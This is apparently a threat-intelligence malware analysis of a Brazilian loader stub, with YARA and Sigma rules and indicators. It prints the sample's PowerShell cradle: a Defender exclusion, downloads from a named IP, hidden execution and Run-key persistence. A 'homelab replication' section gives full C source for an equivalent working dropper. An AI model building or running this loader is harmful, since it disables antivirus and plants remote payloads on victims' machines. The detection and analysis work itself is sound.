55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99gerador-loader: 55db7544 — Brazilian MSVC loader stub, Defender exclusion + HTTP cradle
Executive Summary
PE32 x86 GUI executable built with MSVC 14.51 (May 2026) from a project named GERADOR_LOADER. A single ShellExecuteW call elevates via the "runas" verb and launches a PowerShell cradle that disables Defender monitoring on a staging directory, downloads two payloads from a Brazilian IP over HTTP, stages them to C:\ProgramData\MSDefender, executes the binary hidden, and sets both HKCU and HKLM Run keys for persistence. No packing, no anti-analysis, minimal IAT. Static-only; no CAPE detonation possible. ^[file.txt] ^[rabin2-info.txt] ^[r2:main]
What It Is
- File:
z1DOC-6681673-708018947.exe, 252 KB ^[file.txt] - Compile: Thu May 21 19:02:26 2026 UTC, MSVC 14.51 (Linker 14.51 / Utc1900_CPP 33145) ^[rabin2-info.txt] ^[pefile.txt:34]
- PDB:
C:\Users\BIGODE\source\repos\GERADOR_LOADER\Release\GERADOR_LOADER.pdb^[strings.txt:119] - Language: Portuguese (Brazil) — RT_ICON resources all LANG_PORTUGUESE_BRAZILIAN (1046) ^[pefile.txt:366]
- IAT: 55 imports across KERNEL32.dll (CRT + basic APIs) and SHELL32.dll (
ShellExecuteWonly) ^[pefile.txt:269-333] - Signed: No ^[rabin2-info.txt:31]
- Sections:
.text(entropy 6.55),.rdata(4.76),.data(2.05),.fptable(0.00),.rsrc(7.29, 162 KB),.reloc(6.41) ^[pefile.txt:92-192]
How It Works
The entry point is standard MSVC CRT main (0x401000). Its entire user logic is a single ShellExecuteW invocation: ^[r2:main]
ShellExecuteW(NULL, "runas", "powershell.exe",
"-Command \"Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender'; ...\"",
NULL, SW_HIDE)
The -Command payload is a UTF-16LE string stored in .rsrc at file offset 0x12378 (VA 0x413d78). The cradle performs the following in sequence:
Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender'— disables Defender monitoring (T1562.001).mkdir 'C:\ProgramData\MSDefender'— staging directory creation.curl -Uri 'http://177.136.230.88/modulo/Flexpcis.exe' -OutFile 'C:\ProgramData\MSDefender\Flexpcis.exe'— payload fetch (T1105).curl -Uri 'http://177.136.230.88/modulo/Drivespan.dll' -OutFile 'C:\ProgramData\MSDefender\Drivespan.dll'— companion DLL fetch (T1105).Start-Process -FilePath 'C:\ProgramData\MSDefender\Flexpcis.exe' -WindowStyle Hidden— execution (T1204.002).Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force— HKCU persistence (T1547.001).Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force— HKLM persistence (T1547.001), contingent onrunaselevation.
Decompiled Behavior
Radare2 decompilation of main (0x401000) confirms the entire user logic is a single API call. No loops, conditionals, anti-debug checks, or runtime API resolution. The remaining ~540 functions are CRT/STL/ASM startup internals. ^[r2:main]
C2 Infrastructure
| Indicator | Value | Context |
|---|---|---|
| Download IP | 177.136.230.88 |
IPv4 (Brazil, AS52902) |
| Payload URI 1 | http://177.136.230.88/modulo/Flexpcis.exe |
HTTP download |
| Payload URI 2 | http://177.136.230.88/modulo/Drivespan.dll |
HTTP download |
| Staging path | C:\ProgramData\MSDefender\ |
Filesystem |
| Registry value | WindowsService |
Persistence name |
| Registry keys | HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Persistence |
| Registry keys | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Persistence |
No HTTPS, no domain, no DGA, no mutex, no named pipes. The MSDefender directory and WindowsService value names are generic masquerade.
Interesting Tidbits
- Builder name in PDB:
GERADOR_LOADERliterally means "GENERATOR_LOADER" in Portuguese. Developer handleBIGODEmeans "mustache". Amateur crimeware tooling, not a commercial kit. ^[strings.txt:119] - Brazilian localization: All 10 RT_ICON resources are tagged LANG_PORTUGUESE_BRAZILIAN (1046), confirming the build environment locale. ^[pefile.txt:366]
- Document masquerade: Distribution filename
z1DOC-6681673-708018947.exeuses a document-themed prefix with numeric noise, common in email-borne droppers. ^[metadata.json] - No anti-analysis: No anti-debug, anti-VM, sandbox evasion, packing, or string encryption. The entire malicious behavior is visible in one radare2 decompilation pass.
- HTTP not HTTPS: Both payload fetches use unencrypted HTTP — either very low-sophistication or a compromised web server where TLS was an afterthought.
- Dual Run keys: Writing both HKCU and HKLM is redundant if admin, but if
runasis declined, HKCU still fires on next login.
How To Mess With It (Homelab Replication)
A comparable loader stub can be built in minutes:
#include <windows.h>
#include <shellapi.h>
#pragma comment(lib, "shell32.lib")
int main() {
ShellExecuteW(NULL, L"runas", L"powershell.exe",
L"-Command \"Add-MpPreference -ExclusionPath 'C:\\ProgramData\\MSDefender'; "
L"mkdir 'C:\\ProgramData\\MSDefender'; "
L"curl -Uri 'http://YOUR.IP/payload.exe' -OutFile 'C:\\ProgramData\\MSDefender\\payload.exe'; "
L"Start-Process 'C:\\ProgramData\\MSDefender\\payload.exe' -WindowStyle Hidden; "
L"$e='C:\\ProgramData\\MSDefender\\payload.exe'; "
L"Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' "
L"-Name 'WindowsService' -Value $e -Force\"",
NULL, SW_HIDE);
return 0;
}
Compile with cl /O2 /Fe:loader.exe loader.c (MSVC 14.x). Resulting binary has comparable IAT (KERNEL32 + SHELL32) and no packing.
Deployable Signatures
YARA
rule gerador_loader_stub {
meta:
description = "Brazilian GERADOR_LOADER PowerShell cradle stub"
author = "PacketPursuit"
date = "2026-06-10"
hash = "55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99"
strings:
$pdb = "GERADOR_LOADER.pdb" ascii wide nocase
$cmd1 = "Add-MpPreference -ExclusionPath" ascii wide
$cmd2 = "WindowsService" ascii wide
$cmd3 = "Flexpcis.exe" ascii wide
$cmd4 = "Drivespan.dll" ascii wide
$ip = "177.136.230.88" ascii wide
condition:
uint16(0) == 0x5A4D and
($pdb or (2 of ($cmd*) and $ip)) and
pe.imports("SHELL32.dll", "ShellExecuteW")
}
Sigma
title: GERADOR_LOADER PowerShell Cradle Execution
status: experimental
description: Detects the PowerShell cradle pattern used by the GERADOR_LOADER family
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'Add-MpPreference'
- 'ExclusionPath'
- 'MSDefender'
- 'WindowsService'
condition: selection
falsepositives:
- Unlikely (explicit Defender exclusion + generic service name)
level: high
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | 55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99 |
Loader stub |
| IP | 177.136.230.88 |
Payload host |
| Filename | Flexpcis.exe |
Primary payload |
| Filename | Drivespan.dll |
Companion DLL |
| Registry value | WindowsService |
Persistence name |
| Directory | C:\ProgramData\MSDefender |
Staging directory |
| PDB path | C:\Users\BIGODE\source\repos\GERADOR_LOADER\Release\GERADOR_LOADER.pdb |
Build artifact |
Behavioral Fingerprint
On launch, the binary loads only KERNEL32 and SHELL32, calls ShellExecuteW with the runas verb to spawn powershell.exe -Command ... with a cradle that adds a Defender directory exclusion, downloads two files via HTTP to C:\ProgramData\MSDefender, executes the EXE hidden, and writes both HKCU and HKLM Run registry values named WindowsService. No network traffic originates from the stub itself; all C2 activity is delegated to the PowerShell child process and the subsequently dropped payloads.
Detection Signatures
- MITRE ATT&CK: T1562.001, T1105, T1204.002, T1547.001, T1548.002
- capa: Tool error (signatures missing); no capability report available ^[capa.txt]
References
- SHA-256:
55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99 - OpenCTI artifact:
c924ae31-e4ec-45a9-9443-89465ae03907 - Related wiki pages: gerador-loader, powershell-cradle-downloader, defender-exclusion-via-powershell, registry-run-persistence
Capabilities
shell-execute-powershell-cradleuac-elevation-runas-verbdefender-exclusion-directoryhttp-payload-fetchregistry-run-persistence-hkcuregistry-run-persistence-hklmprocess-launch-hidden
Provenance
- Static analysis: radare2 (file opened, aa analysis, decompiled
mainat 0x401000), pefile.py (section/resource inspection), xxd (raw string extraction at file offset 0x12378) - File metadata: file(1), exiftool, pefile.py
- Strings: strings(1), floss (tool error)
- Capability: capa (tool error — signatures missing)
- Dynamic: CAPE skipped (no Windows guest available) ^[dynamic-analysis.md]